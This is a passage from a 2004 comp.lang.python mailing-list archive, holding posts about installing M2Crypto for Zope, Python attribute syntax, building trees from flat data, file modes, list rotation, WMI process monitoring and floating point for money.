simple requirements; read in a text configuration file, provide a Web interface to edit it line by line with some integrity checking on variable names, and write the text file back out. Nothing exciting at all. That means a very small number of users, only one user accessing a given file at a time, etc. LDAP is really overkill, as is another Webserver. Heck, I wouldn't even be looking at m2crypto if it weren't for the fact I want this tool to manage remote servers. As it stands now, I haven't tried anything with it. I think my next step is to contact the guy who maintains m2crypto, describe my situation, and ask him if he has any thoughts. Thanks again. Jim Josef Meile wrote: >Hi Jim, >jsmilan at tiny.net wrote: >> I answered John by email before I saw his response here. (Thanks, John!) >> Basically, I'm not opposed to taking that approach as a last resort. >> However, doing so would mean giving up the automatic upate process for >> Gentoo. Does anyone else have any ideas? >I also like the emerge facility of Gentoo, but I think that things like >a webserver (and problably some dependencies) should be installed from >source. After all, you don't know what modules are included on the >python binary of gentoo. For example, it will be hard to add ldap >support for python/zope, since ldap may require some special flags that >aren't included on the binary installation. >The other problem is that with the binaries the files will be stored on >different locations. I personaly preffer to compile the software I use >on /usr/local/mySoftName. By doing this, you now where your binaries and >config files are. >Finally, I don't know if the python installed by gentoo, is the same one >as the one installed when emerging zope. This could be also an issue, >since you can have to different pythons on your system, but only one >will have m2crypto support. >The other thing is that I don't know if the m2crypto version that you >mentioned (0.13) have the latest ZServerssl for zope 2.7. That's other >reason why your install is failing: you are installing ZServerssl for >zope 2.6. >If you still want to proceed with the binaries, then you have to look >for the locations of your python, zope, and m2Crypto with the qpkg >command of gentoo (this command isn't normally installed with gentoo, I >don't remmember which ebuild you will have to install). ie: >% qpkg -l python | more >first I adviced you to watch the init script of zope and see which >python is used. Then call the python console and try to see if m2crypto >is installed there: >% /your/python/path/python > >>> import M2Crypto >If you don't see any error, then you are lucky and it means that the >python used by your zope has M2Crypto installed. If you see an error, >then you will have to manually install m2crypto as indicated by John. >Unfortunatelly I think you will have to manually install ZServerssl for >zope 2.7 as indicated by John because m2crypto does not do this. >Regards, >Josef -- Jim Smilanich jsmilan at visi.com =JpS=SgtRock "A man should be able to pilot a starship, plan an invasion, diaper a baby, ....specialization is for insects!" -- Lazarus Long From aleaxit at yahoo.com Fri Sep 17 02:54:11 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 17 Sep 2004 08:54:11 +0200 Subject: too many self References: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> <10kjrvs2hmb19a5@corp.supernews.com> <1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com> <10kkc7hq9fuvt20@corp.supernews.com> Message-ID: <1gk90fg.qderxd1pfbq2dN%aleaxit@yahoo.com> aurora wrote: ... > I'm not making any serious criticism on the language or how it should do > name binding. I'm ranting about having to attach a prefix to names often > make simple things look complicated. An annoyance when it has to be done > very often. You got the point? No. If you had to "attach a prefix", it might perhaps be a problem. But, in Python, you don't have to do any such thing. You use bare names for locals, globals, and built-ins, and compound names for attributes of objects. How can it "make simple things look complicated" to use a compound name for an object attribute? It indicates exactly what's going on: you're accessing or rebinding an attribute -- no more, no less. Just like, e.g., x[i] is how you refer to an item of x, so is x.foo how you refer to an attribute of x. If what you mean to say (as opposed to what you actually wrote) is to support some kind of 'with' or 'using' statement, such as: with glek[idx]: .total += .partial .partial = current_time .laps += 1 so that several accesses to, and rebindings of, attributes of the same object, can be compactly and conveniently indicated, that, of course, is quite a different issue, which has often been discussed in the past, both here and on python-dev. Yet there isn't even a PEP for it, yet, I believe -- a bad sign: it suggests nobody is keen enough on it to summarize the case for and against and nail down the specs. I guess the problem is that if you see this as equivalent to, say: _ = glek[idx]: _.total += _.partial _.partial = current_time _.laps += 1 it's not all that clear that the with notation is buying you all that much -- visually distinguishing that current_time is not an attribute name is about as hard in both cases, for example, maybe a bit harder if the hypothetical new construct were in use... and without said hypothetical new construct you have a better chance to make your code clearer by using a visually distinguished name rather than a notation which appears to try to HIDE the crucial issue of which name are bare ones, and which names are compound! Richer semantics for 'with'/'using' are of course possible, but harder to pin down in detail, and even more controversial. Still, until somebody DOES care enough, for or against, to come up with a PEP, rather than rants on this NG, nothing much is going to happen re this idea. Alex From maschio_77 at hotmail.com Mon Sep 27 14:55:09 2004 From: maschio_77 at hotmail.com (Federico) Date: Mon, 27 Sep 2004 18:55:09 +0000 Subject: applet jython guide Message-ID: Hi everybody, Someone knows where can I find an applet jython guide? I usually use python for my programming and now I'd like to make applets for web pages but I don't know java ... Thanks From mcfletch at rogers.com Sun Sep 26 17:23:59 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Sun, 26 Sep 2004 17:23:59 -0400 Subject: convert flat structure into hierarchical one In-Reply-To: <719604C6-0FE4-11D9-8AD4-000A957911BC@ksenia.nl> References: <719604C6-0FE4-11D9-8AD4-000A957911BC@ksenia.nl> Message-ID: <4157336F.9050905@rogers.com> This is not the most elegant approach, but then I hacked it up without any planning in the interpreter... >>> data = [(1, 'grandparent', None), (2, 'parent', 1), (3, 'otherparent', 1), (4, 'child', 3)] >>> nodes = dict( [ (a[0],(a[1],a[2],[])) for a in data ] ) >>> nodes {1: ('grandparent', None, []), 2: ('parent', 1, []), 3: ('otherparent', 1, []), 4: ('child', 3, [])} >>> roots = [] >>> for key,value in nodes.items(): ... parent = nodes.get( value[1], ('noname',None,roots)) ... parent[2].append( (key,value) ) ... >>> roots [(1, ('grandparent', None, [(2, ('parent', 1, [])), (3, ('otherparent', 1, [(4, ('child', 3, []))]))]))] >>> import pprint >>> pprint.pprint( roots ) [(1, ('grandparent', None, [(2, ('parent', 1, [])), (3, ('otherparent', 1, [(4, ('child', 3, []))]))]))] >>> nodes[3] ('otherparent', 1, [(4, ('child', 3, []))]) >>> nodes[2] ('parent', 1, []) If you really wanted, you could convert each "children" list into a dictionary, or leave the children's identity in their tuple. HTH, Mike Ksenia Marasanova wrote: > I get this kind of list from a database. (The tuple structure is: id, > name, parent_id) > > [(1, 'grandparent', None), (2, 'parent', 1), (3, 'otherparent', 1), > (4, 'child', 3)] > > I would like to transfer it (in Python) into a tree structure. I don't > care much about format, as long as I'll be able to get all the > information, based on one id. For example, if I have id=3, I want to get > - name ('otherparent') > - children (one child, with id=4, name='child') > - parent id > > Any tips? Recipes? ;-) > > > Thanks, > Ksenia. ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From aisaac at american.edu Sat Sep 25 21:24:35 2004 From: aisaac at american.edu (Alan G Isaac) Date: Sat, 25 Sep 2004 21:24:35 -0400 Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> Message-ID: <10lc6dseqo1185e@corp.supernews.com> "Roel Schroeven" wrote in message news:OjW4d.255917$OR1.13371520 at phobos.telenet-ops.be... > It's safe in the sense that everything goes out exactly as it came in. > For example, gzip uses binary mode even when compressing text files. The > files may be text, but gzip doesn't care about that. It doesn't care > about words, sentences and line endings, but it does care about > representing exactly the bytes that are in the file. I think the following is the same question from another angle. I have an .zip archive of compressed files that I want to decompress. Using the zipfile module, I tried z=zipfile.ZipFile(local.zip) for zname in z.namelist(): localtxtfile='c:/puthere/'+zname f=open(localtxtfile,'w') f.write(z.read(zname)) f.close The original files were all plain text, created on an unspecified platform. The files I decompressed this way contained *two successive* carriage returns (ASCII 13) at the end of each line. If I change 'w' to 'wb' I get only one carriage return at the end of each line. Why is this extra carriage return added? My original guess was the using 'w' instead of 'wb' would be the right action, since the platform for the original files is unspecified and the original files are known to be plain text. Thanks, Alan Isaac From aleaxit at yahoo.com Wed Sep 1 10:43:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 16:43:03 +0200 Subject: Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be "read". References: Message-ID: <1gjg0me.1c7zmijvwmxxyN%aleaxit@yahoo.com> Askari wrote: ... > But, I don't understand how OmniPage can affect python?! Mystery... My guess is: typical Windows DLL Hell. No doubt OmniPage is installing some DLL's in the system directory (or elsewhere in the path) which conflict with ones Python needs. At least you're lucky that OmniPage's uninstall is taking those DLL's away, so uninstalling solves your problem. I'm not sure how you can check exactly what DLL's OmniPage is installing -- but I'd best a list of those would help finding out which one[s] can be conflicting... perhaps you can simply contact OmniPage's suppliers and let them know about the suspected DLL conflict so they can do something about it. Alex From mailtome200420032002 at yahoo.com Fri Sep 17 00:52:27 2004 From: mailtome200420032002 at yahoo.com (john) Date: 16 Sep 2004 21:52:27 -0700 Subject: How to go about developing in zope References: <4c900ea0.0409160754.2158e732@posting.google.com> <6P-dnYmYhq_Tf9TcRVn-gg@giganews.com> Message-ID: <4c900ea0.0409162052.79420c58@posting.google.com> Istvan Albert wrote in message news:<6P-dnYmYhq_Tf9TcRVn-gg at giganews.com>... > john wrote: > > > Is zope suitable for such kind of application? > > yes. > > > What is the best way to develop such kinda application in zope? > > Start with a simple site then keep reimplementing with the new > techniques that you learn. > > Istvan. I dont know how zope will simplify my work in developing such an application?? From crasmussen at lanl.gov Wed Sep 22 07:48:06 2004 From: crasmussen at lanl.gov (Craig Rasmussen) Date: Wed, 22 Sep 2004 13:48:06 +0200 Subject: Request for presenters at LACSI Python workshop In-Reply-To: <4145D48D.1000106@enthought.com> References: <4145D48D.1000106@enthought.com> Message-ID: <44DF0584-0C8D-11D9-BE9B-000A957CA856@lanl.gov> Dear Python enthusiasts, Please forgive me for this late request, but I'm wondering if there are any SciPy 2004 presenters (or others) who would like to present their work at a workshop on High Productivity Python. This workshop will be held on October 12 as part the LACSI 2004 symposium. LACSI symposia are held each year in Santa Fe (see http://lacsi.lanl.gov/symposium/ for more details). If you are interested, please send me a title and an abstract right away. Thanks, Craig Rasmussen From groups.google at gnosis.cx Wed Sep 29 23:46:03 2004 From: groups.google at gnosis.cx (David Mertz, Ph.D.) Date: 29 Sep 2004 20:46:03 -0700 Subject: Metaclass with name overloading. References: Message-ID: <8cf9f521.0409291946.6d731172@posting.google.com> Jacek Generowicz wrote: > I would like to write a metaclass which would allow me to overload > names in the definition of its instances, like this > class Foo(object): > __metaclass__ = OverloadingClass > def meth(self): > pass > def meth(self, arg): > return arg It's not the literal syntax you're asking for, but using my technique for multiple dispatch in Python achieves the effect you're looking for. It has nothing to do with metaclass, but it lets you provide multiple "signatures" for a call. Not just number of arguments, but also their types (if you want: you can also generically specify a descendent of object). See http://www-106.ibm.com/developerworks/linux/library/l-pydisp.html for more details. Yours, David... From grante at visi.com Sun Sep 5 12:22:02 2004 From: grante at visi.com (Grant Edwards) Date: 05 Sep 2004 16:22:02 GMT Subject: Linux application deployment References: <413B2D73.3010106@cs.com> Message-ID: On 2004-09-05, Jarek Zgoda wrote: > Robert M. Emmons pisze: > >> One thing I've always wonders was -- Is there a way for a python module >> to tell where it's file is located??? If you could do this it might >> also be possible to have a python script reset sys.path based on it's >> own location. > > import sys, os > > me = os.path.abspath(sys.argv[0]) That's only mostly reliable. Nothing in Linux/Unix actually requires that argv[0] be the program's path. It is the convention to pass that as argv[0], but there may be corner cases where it doesn't work. -- Grant Edwards grante Yow! I had pancake makeup at for brunch! visi.com From ndbecker2 at verizon.net Mon Sep 13 15:23:04 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Mon, 13 Sep 2004 15:23:04 -0400 Subject: Find first in sequence (simple question) Message-ID: What is an efficient way to find the first element in a sequence meeting some condition? For example, the first number > x in a list of numbers. From bokr at oz.net Wed Sep 22 17:19:17 2004 From: bokr at oz.net (Bengt Richter) Date: 22 Sep 2004 21:19:17 GMT Subject: calling class methods without instance References: Message-ID: On Wed, 22 Sep 2004 15:38:56 -0500, Josh Close wrote: >Is there a way to call a class method without an instance of that class? > >class myClass: > def printSomething(message): > print message > >myClass.print() > >That's basically what I want to do. Is there a way to do that without >having to do > >c = myClass() >c.print() > >I've tried using > >class myClass: > def printSomething(message): > print message > printSomething = staticmethod(printSomething) > >but that didn't seem to work either. I'm probably just missing >something really simple here. Just copied your code above and pasted into a python console session: >>> class myClass: ... def printSomething(message): ... print message ... printSomething = staticmethod(printSomething) ... >>> myClass.printSomething('This did not work for you?') This did not work for you? Suggest you try the same and copy/paste from your screen to a post here to show the error (or "didn't seem to work" symptom) you got. (windows nt4, python 2.3 here, what's your system?) Regards, Bengt Richter From gerrit at nl.linux.org Tue Sep 28 03:16:07 2004 From: gerrit at nl.linux.org (Gerrit) Date: Tue, 28 Sep 2004 09:16:07 +0200 Subject: Python game help needed? In-Reply-To: References: Message-ID: <20040928071607.GA8719@nl.linux.org> Bill Dandreta wrote: > I would like to write a wordsearch puzzle game in Python that functions > like this java program: > > http://javaboutique.webdeveloper.com/WordSearch/ > > I would like it to be cross platform (Linux, Windows, Mac). > > I don't know how to get the graphics effect with a bounding box around > the words. > > Any suggestions would be greatly appreciated. Look for pygame (http://www.pygame.org/). It's great and crossplatform, although I think Mac OS 9 support is lagging a bit behind. Gerrit. -- Weather in Twenthe, Netherlands 28/09 08:25: 15.0?C mist overcast wind 3.6 m/s SW (57 m above NAP) -- In the councils of government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex. The potential for the disastrous rise of misplaced power exists and will persist. -Dwight David Eisenhower, January 17, 1961 From daniel.dittmar at sap.corp Tue Sep 14 05:15:58 2004 From: daniel.dittmar at sap.corp (Daniel Dittmar) Date: Tue, 14 Sep 2004 11:15:58 +0200 Subject: Using Python instead of DOS shell scripts In-Reply-To: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> Message-ID: Jeff Wagner wrote: > I have a project of converting numerous DOS cmd shell scripts to Python. Is there a tutorial to > getting started? Some of the more important modules for your task are probably - os: http://www.python.org/doc/2.3.4/lib/module-os.html - os.path: http://www.python.org/doc/2.3.4/lib/module-os.path.html - win32 extensions: https://sourceforge.net/projects/pywin32/ You should visit the Python Cookbook (http://aspn.activestate.com/ASPN/Python/Cookbook/), which is also available in book form. Daniel From peter at engcorp.com Wed Sep 1 18:05:22 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 18:05:22 -0400 Subject: negative stride list slices In-Reply-To: References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> <9LOdnaw-DsKUoavcRVn-vg@powergate.ca> Message-ID: (Please don't top-post. It really buggers up the quoting and makes discussion hard.) Julio O?a wrote: > Slice has three arguments, [begin:end:step] > > when doing s[:-3:-1] you are asking the las to elements of the list in > reversed order. Uh, yeah. Okay. So let's say that part was obvious. Now please explain *which* elements are being listed in reverse order, referring to the index value -3 and the elided index value. Presumably one of those refers to the beginning or end of the list, while the other one refers to something that is referenced as "-3". Can you point to a diagram or description in the documentation or tutorial which actually explains this? Or can you (or anyone) explain it in your own words? Or is everyone who thinks this makes sense just pretending to actually understand it? -Peter From mauriceling at acm.org Thu Sep 2 20:48:55 2004 From: mauriceling at acm.org (Maurice LING) Date: Fri, 03 Sep 2004 00:48:55 GMT Subject: compiling to python byte codes In-Reply-To: References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> Message-ID: <4137bf73$1@news.unimelb.edu.au> Jeremy Bowers wrote: > On Thu, 02 Sep 2004 23:10:11 +0000, Maurice LING wrote: > >>Can I feed a python source file into compile(), line by line, and expect >>it to generate a working .pyc file? I suppose my intended use is to be >>able to handle python codes written at run time, to execute python codes >>line by line, in a python program. It is somewhat like a tracer routine >>that can interpret a line of python code, read out the variables, before >>going to the next line of python code. Can compile() do this, or do I >>have to use pexpect to run an instance of python? > > > Why don't you clearly spell out your intended use and ask about that, > instead? > > If, based on your use of "I suppose" and "somewhat", you are still unclear > on your intended use, figuring that out would be step #1. :-) > > Many good modules exist for many things already; if you're trying to trace > for instance, there is a module for that. Let's start at the beginning: > What are you trying to do? > I am using SBML (system biology markup language) as a front-end modelling language for my project. And for ease of further maintenance of the model and interoperability purposes, my project requires me to convert it into an intermediate form (MA), which is somewhat assembly is structure, as in, each instruction takes the form of *. Here I am, attempting to write a virtual machine that can run MA, using python. So, it becomes a MA virtual machine running on python virtual machine. My concern is, is it simpler to convert MA to python codes or python bytecodes. What are the pros and cons? Assuming that to convert to python source code is a choice, I'm thinking that MA virtual machine can then read a MA instruction and output the corresponding python source codes, but are there facilities in python to run python codes, line by line, as it is being thrown out by MA virtual machine? As a side note, does anyone think that this project might be suitable enough to apply for PSF Grant? Thanks Maurice -- Maurice Han Tong LING, BSc(Hons)(MCB), AdvDipComp, SSN, FIFA Doctor of Philosophy (Science) Candidate, The University of Melbourne mobile: +61 4 22781753 +65 96669233 mailing address: Department of Zoology, The University of Melbourne Royal Parade, Parkville, Victoria 3010, Australia residential address: 9/41 Dover Street Flemington, Victoria 3031, Australia email: mauriceling at acm.org resume: http://maurice.vodien.com/maurice_resume.pdf www: http://www.geocities.com/beldin79/ The information contained in this message, including its attachment(s), is CONFIDENTIAL and solely intended to its addressee(s) only. The content of this message, including its attachment(s), may be subjected to copyright and privacy laws. If you have received this email in error, please let me know by returning this email, and then destroy all copies. "I cannot discover anyone knows enough to say definitely what is and what is not possible" -Henry Ford "The difference between the impossible and the possible lies in a person's determination" -Tommy Charles Lasorda From Vivien.Mallet at ecl2002.ec-lyon.fr Wed Sep 29 15:09:43 2004 From: Vivien.Mallet at ecl2002.ec-lyon.fr (Vivien Mallet) Date: Wed, 29 Sep 2004 21:09:43 +0200 Subject: Backslash substitutions Message-ID: <415b0902$0$30702$8fcfb975@news.wanadoo.fr> Hello, How would you perform backslash substitution in a string, just like the Python parser does? Example: --- >>> s = "\\n" >>> print s \n >>> print ???(s) >>> --- where '???' is a function that I wasn't able to find. Just in case, another example: --- >>> s = "\\\\A\\tB" >>> print s \\A\tB >>> print ???(s) \A B >>> --- Thank you. From jmfbahciv at aol.com Sat Sep 4 06:50:40 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sat, 04 Sep 04 10:50:40 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <4135ce4a$0$19726$61fed72c@news.rcn.com> <41371ba4$0$19723$61fed72c@news.rcn.com> <87d613mckn.fsf@k9.prep.synonet.com> Message-ID: <4139b0e3$0$19717$61fed72c@news.rcn.com> In article <87d613mckn.fsf at k9.prep.synonet.com>, Paul Repacholi wrote: >jmfbahciv at aol.com writes: > >> In article , >> rpw3 at rpw3.org (Rob Warnock) wrote: >>> wrote: >>>+--------------- >>>| rpw3 at rpw3.org (Rob Warnock) wrote: >>>| >| Consider the "PIP" command. >>>| >+--------------- >>>| > >>>| >Indeed. And COPY & DEL & DIR, etc. >>>| >>>| Well, not quite :-). COPY and DELETE called PIP via a CCL >>>| command. DIRECT became its own program. To do a directory >>>| using PIP required a switch and wasn't a monitor level command. >>>+--------------- > >>>Yes, I knew that. What I was trying to convey is that the *names* >>>of those DOS commands had also been copied from the DEC lineages. >>>That is, COPY/DEL/DIR rather than cp/rm/ls. > >They are not DOS commands, thay are CPM commands that just happened >to report for duty in redmondia. > >> IIRC, those verbs didn't show up until after 4S72 of TOPS-10 (it >> wasn't TOPS-10 back then either). I would also suspect that the PIP >> didn't originate at DEC either. A lot of those guys did work at MIT >> before they coalasced into a startup company. > >All of them where in the 4.x monitir I used. many of the 427 source file >are on Tim's site, so you can have a look in COMTAB and see. huh..The why did I have to do TTY:_DT0:/L or LPT:_DT0:/L to get directories? And to print a file on the line printer required the PIP command LPT:_DSK:FOO.FOR Sigh! Substitute those underscores with backarrows. The point is still that these commands were "created" not by one OS but by the conglomerate of future bit gods who were yakking at each other and moving from one OS project to another OS' project. Back then there were only a handful of people who were doing this work. Are we suffering from the demise of the thingies we used to call DECUS when the workers got together instead of the PHBs and marketeers? /BAH Subtract a hundred and four for e-mail. From FBatista at uniFON.com.ar Thu Sep 2 09:30:11 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 2 Sep 2004 10:30:11 -0300 Subject: I think a problem occured when i used long() Message-ID: [Paul Rubin] #- The x86 supports 80 bit extended floats and I hope Python #- has a way to #- use them (maybe with a build option). #- #- I'd had the impression that some of the PowerPC processors #- support 128 #- bit floats, but I'm not sure of that. And it may be limited to IBM #- workstation processors, not Macs. With Decimal, you have arbitrary precision, :D That means aaaaall the precision your memory lets you. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From brandon at ten22.rhodesmill.org Thu Sep 9 14:59:13 2004 From: brandon at ten22.rhodesmill.org (Brandon Craig Rhodes) Date: Thu, 09 Sep 2004 14:59:13 -0400 Subject: Is except: ... pass bad style? References: Message-ID: <873c1re0am.fsf@ten22.rhodesmill.org> Michael Hudson writes: > marduk writes: > >> I commonly use code like this >> >> try: >> # call optional method >> myobj.method() >> except AttributeError: >> # no biggie >> pass > > try: > meth = myobj.method > except AttributeError: > pass > else: > meth() I'm confused - why not meth = getattr(myobj, method) if meth: meth() -- Brandon Craig Rhodes brandon at rhodesmill.org http://rhodesmill.org/brandon From rogerb at rogerbinns.com Sun Sep 19 17:26:20 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Sun, 19 Sep 2004 14:26:20 -0700 Subject: Documentation? file/open with tea References: <2r66m7F161ncnU1@uni-berlin.de> Message-ID: Daniel Dittmar wrote: > And I think using 't' is a mainly a Windows thing and not portable. It is actually a C standard thing and is *very* portable. Almost every other platform out there has exactly the same data representation for both binary and text data, so most programmers are not aware of this issue, what the default is, or if their code uses the wrong one. However on Windows which does have differing representations, you will find out real quick. Roger From PeterAbel at gmx.net Thu Sep 30 09:05:42 2004 From: PeterAbel at gmx.net (Peter Abel) Date: 30 Sep 2004 06:05:42 -0700 Subject: List rotation References: Message-ID: <21064255.0409300505.3d67bb2e@posting.google.com> "M. Clift" wrote in message news:... > Hi Steven, > > Sorry, as I'm a beginner I don't think I should have used the title rotate > list, as that's not what I want. > > If the list ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would > of course give('d', 'b', 'a' etc... > > What I'm looking for is that say if trans = 1, then the list would become > ('b', 'a', 'c', 'b', 'a', 'd', 'c') . > For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a') > > items = ('a', 'b', 'c', 'd') > items + 1 = ( 'b', 'c', 'd', 'a') > items + 2 = ( 'c', 'd', 'a', 'b') > items + 3 = ( 'd', 'a', 'b', 'c') > > trans = 1 > > list = ('a', 'd', 'b', 'a', 'd', 'c', 'b') > > > I can think of the long/wrong way to do it as shown for trans = 3, but there > must be some simpler idea. > > > for idx in range(len(items)): > if list[idx:idx + 1] == ['a']: > list[idx:idx + 1] = ['d'] > if list[idx:idx + 1] == ['b']: > list[idx:idx + 1] = ['a'] I'm not quite sure if I understood you well, but let me try to explain what I mean to have understood: >>> myList=['A', 'B', 'C', 'D', 'E', 'F', 'G'] >>> myList ['A', 'B', 'C', 'D', 'E', 'F', 'G'] >>> # This is the myList in reverse order >>> myList.reverse() >>> myList ['G', 'F', 'E', 'D', 'C', 'B', 'A'] >>> # But I think that's not what you want, so we reverse it back >>> myList.reverse() >>> myList ['A', 'B', 'C', 'D', 'E', 'F', 'G'] >>> # Rotate a list with a given number of steps to rotate >>> def rotateList(aList,trans=1,direction=1): ... """ aList : the list to rotate (!! a list and not a tuple) ... trans : the number of steps to rotate ... direction: =1 rotate it backward, ... means put items from the end to the front ... =0 rotate it forward ... """ ... if type(aList) != list: ... print 'I need a list, you gave me a %s' % str(type(aList)) ... return ... if direction: ... # rotate it backwards ... while trans>0: ... aList.insert(0,aList.pop()) ... trans-=1 ... else: ... while trans>0: ... aList.append(aList.pop(0)) ... trans-=1 ... >>> >>> myList ['A', 'B', 'C', 'D', 'E', 'F', 'G'] >>> rotateList(myList,3) >>> myList ['E', 'F', 'G', 'A', 'B', 'C', 'D'] >>> rotateList(myList,3,direction=0) >>> myList ['A', 'B', 'C', 'D', 'E', 'F', 'G'] >>> Some bad examples: >>> rotateList(1,3) I need a list, you gave me a >>> rotateList((1,2,3),3) I need a list, you gave me a >>> BTW some remarks: Doen't use the word *list* for a name, it's reserved. Use List, myList, anyList or l or anything else. For this task I wouldn't use tuples, cause they are imutable. If you have a sequence with many items, you would need much memory space. This is the reason why I didn't create a new list and give it back with return but work on the given list. The list.methodes *insert*, *pop*, *reverse*, *append* and some others are working on the given list and doen't create a new one. Hope I could help you a bit. Regards Peter From chrisks at NOSPAM.udel.edu Mon Sep 13 18:03:28 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Mon, 13 Sep 2004 22:03:28 GMT Subject: Problems with subclassing In-Reply-To: References: Message-ID: Alexander Stante wrote: > Hello, > > I have the following problem. I want to subclass from the pygame class > Surface, but I can't get it working: > > class sprite(Surface): > def __init__(self, image_array, palette): > "some code here" > > when I want to create a instance with: > > gfx.sprite(arrayi, palette) > > > I get the following error message: > TypeError: argument 1 must be sequence of length 2, not 100 > > It seems that the constructor of Surface is not overrided by the one in > sprite, but why? > Try manually specifying the subclassed constructor within your new constructor. For example: class sprite(Surface): def __init__(self, image_array, palette): Surface.__init__(self, someargs) Then, ensure you are instantiating the subclass correctly. From carribeiro at gmail.com Wed Sep 8 09:53:04 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 8 Sep 2004 10:53:04 -0300 Subject: Pyhtonic UML was 'Re: How to actually write a program?' In-Reply-To: <413EC12E.2070605@cenix-bioscience.com> References: <413EC12E.2070605@cenix-bioscience.com> Message-ID: <864d370904090806532de299ec@mail.gmail.com> On Wed, 08 Sep 2004 10:22:06 +0200, Neil Benn wrote: > Ville Vainio wrote: > >There should really be a pythonic alternative to UML. For some reason I could not find the original post, but I'll second that. UML is good, but for some reasons I couldn't find good tools to support productive Python programming using UML. It's actually a big quest -- the entire toolset ranges from solid (and standard) DB support to two-way UML engineering tools -- but the main problem for me is the lack of a common idiom to express some of the business abstractions in Python. Each and every package assumes a different way to write or structure the code. This is of no help. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From Barkmann at gmail.com Tue Sep 21 03:25:25 2004 From: Barkmann at gmail.com (Chris Barker) Date: 21 Sep 2004 00:25:25 -0700 Subject: Why not FP for Money? Message-ID: Hi all, I promise this is not a troll... Really, it's embarassing, because this is one Engineer that DID take a Numerical Analysis course, and from William Kahan, no less, and I still don't really get it. (and yes, Alex, I could have gotten my degree without it) I've seen it suggested various times that one should use fixed point for money, perhaps micro cents represented as integers. However, if you do that, you need to make sure you do all the rounding correctly. If you were to use FP, you could have your IEEE 754 hardware do the rounding for you, and get better performance to boot. If you are rounding to cents at the end anyway, I can't see that the errors you'd get with 64 bit FP numbers would ever be an issue. I understand that when your numbers got large enough, you'd start to lose the pennies, but how many of us have the luxury of doing computation with quadrillions of dollars actually care about the pennies? Besides, you could check for HUGE numbers and do something special with them if you wanted. What am I missing here? By the way has anyone done anything with "Adaptive Precision Floating-Point Arithmetic" ? It looks pretty handy: http://www-2.cs.cmu.edu/~quake-papers/robust-arithmetic.abstract -Chris From tim.golden at viacom-outdoor.co.uk Wed Sep 15 09:15:06 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Wed, 15 Sep 2004 14:15:06 +0100 Subject: Communication between remote scripts Message-ID: | > In fact, given a certain interpretation of the description (remote | > monitoring of a running process) it might well be possible to do | > the whole thing in WMI. I have certainly had scripts running on my | > machine to monitor the progress of processes on several of | the servers | > here. Depends what's needed exactly | | Fantastic! I think, in this case, that would do the trick. | | I have the following code that will monitor a process on a local | machine. | | Can you give me an example of how to monitor a process on a remote | computer? | | | while (appRun == "1"): | #print "Waiting %d seconds for app to close" % i | rc = win32event.WaitForMultipleObjects( | handles, # Objects to wait for. | 1, # Wait for them all | 1000) # timeout in milli-seconds. | if rc == win32event.WAIT_OBJECT_0: | # Our processes closed! | print "Process stopped." | appRun = "0" | else: | print "running" | time.sleep(5) | Hmmm... If I understand what you're doing here, you're using some Win32 Objects as semaphores and then waiting for them all to fire to indicate that they've finished. I presume this involves explicitly creating suitable semaphores and waiting for them to fire? To the best of my knowledge, the simple objects can't cross machine boundaries. Named pipes and mailslots can, which may be a possible way to go, but I haven't tried that. Assuming that by "monitor a process" you mean "detect when a process has completed" then this is an example of the sort of thing you want: http://tgolden.sc.sabren.com/python/wmi_cookbook.html#watch_notepad Substitute the name of a remote machine into the WMI constructor to watch for a process on another machine. Watching several machines at once is a bit more tricky, but not much. There's an example of using multiple watchers in the docstring for wmi.WMI.watch_for. If you want to go down this road and can't see what I'm on about, let me know and I'll dig up a more complete example. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From donn at u.washington.edu Fri Sep 24 15:23:07 2004 From: donn at u.washington.edu (Donn Cave) Date: Fri, 24 Sep 2004 12:23:07 -0700 Subject: Delivered signal info in exit status of a process? References: <938a4680.0409241052.72867804@posting.google.com> Message-ID: In article <938a4680.0409241052.72867804 at posting.google.com>, rattan at cps.cmich.edu (Ishwar Rattan) wrote: > Here is a piece code (according to blurb on os.wait, the lower > order 7 bits of exit status of process should contain the signal > number of signal that terminated the process..) and signal number > should be 8 (SIGFPE), similar logic in C-code produces expected > result. > > Any pointers? > > -ishwar > ---- > import os > > cpid = os.fork() > if cpid == 0: > 2 / 0 # divide by zero > else if cpid > 0: > ps, st = os.wait() > print 'child got signal: %d, exit status: %d' %(st&0177, st>>8) > > prints:: > > child got signal: 0, exit status 